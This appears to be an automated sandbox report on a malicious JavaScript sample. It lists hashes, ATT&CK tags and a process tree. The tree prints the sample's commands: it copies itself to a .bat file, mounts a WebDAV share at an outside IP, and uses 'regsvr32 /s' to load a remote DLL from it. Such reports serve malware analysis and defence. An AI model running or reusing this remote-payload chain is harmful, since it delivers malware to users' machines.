d2f0cadbe5cc02ef20b6128ee1b09297d293ddc7254c29ce6a7ef129210d3fc2

Analysis

max time kernel
13s
max time network
18s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 17:18

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General

Target

934110422722231279.js
Size

5KB
MD5

4cb13027ba65f4ecb6a1342c04ad603c
SHA1

02f0fdbe475c52477b5c497d27239cefe21db5b4
SHA256

d2f0cadbe5cc02ef20b6128ee1b09297d293ddc7254c29ce6a7ef129210d3fc2
SHA512

87b5617bbc403051e99120fee065011191e32e2ae28b984889ba1bb853ace50e32c8158ee34e1a5a60b0382fcd44d3ffedafc3ab5e50417a6ec49644a88085e2
SSDEEP

96:iXghGR1uyv3ilCJmhwCJoih1sU1W5SVQGwpQBweApOAbXQZBoVleBddkdeBdA:QNPpvyl9wSB6rwBVA7Ekl0nkd0S

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1672	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 2948	1972	wscript.exe	29
PID 1972 wrote to memory of 2948	1972	wscript.exe	29
PID 1972 wrote to memory of 2948	1972	wscript.exe	29
PID 2948 wrote to memory of 2696	2948	cmd.exe	31
PID 2948 wrote to memory of 2696	2948	cmd.exe	31
PID 2948 wrote to memory of 2696	2948	cmd.exe	31
PID 2948 wrote to memory of 1672	2948	cmd.exe	32
PID 2948 wrote to memory of 1672	2948	cmd.exe	32
PID 2948 wrote to memory of 1672	2948	cmd.exe	32
PID 2948 wrote to memory of 1672	2948	cmd.exe	32
PID 2948 wrote to memory of 1672	2948	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\934110422722231279.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\934110422722231279.js" "C:\Users\Admin\\cfycnq.bat" && "C:\Users\Admin\\cfycnq.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2696
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\674.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\cfycnq.bat

Filesize
5KB

MD5
4cb13027ba65f4ecb6a1342c04ad603c

SHA1
02f0fdbe475c52477b5c497d27239cefe21db5b4

SHA256
d2f0cadbe5cc02ef20b6128ee1b09297d293ddc7254c29ce6a7ef129210d3fc2

SHA512
87b5617bbc403051e99120fee065011191e32e2ae28b984889ba1bb853ace50e32c8158ee34e1a5a60b0382fcd44d3ffedafc3ab5e50417a6ec49644a88085e2

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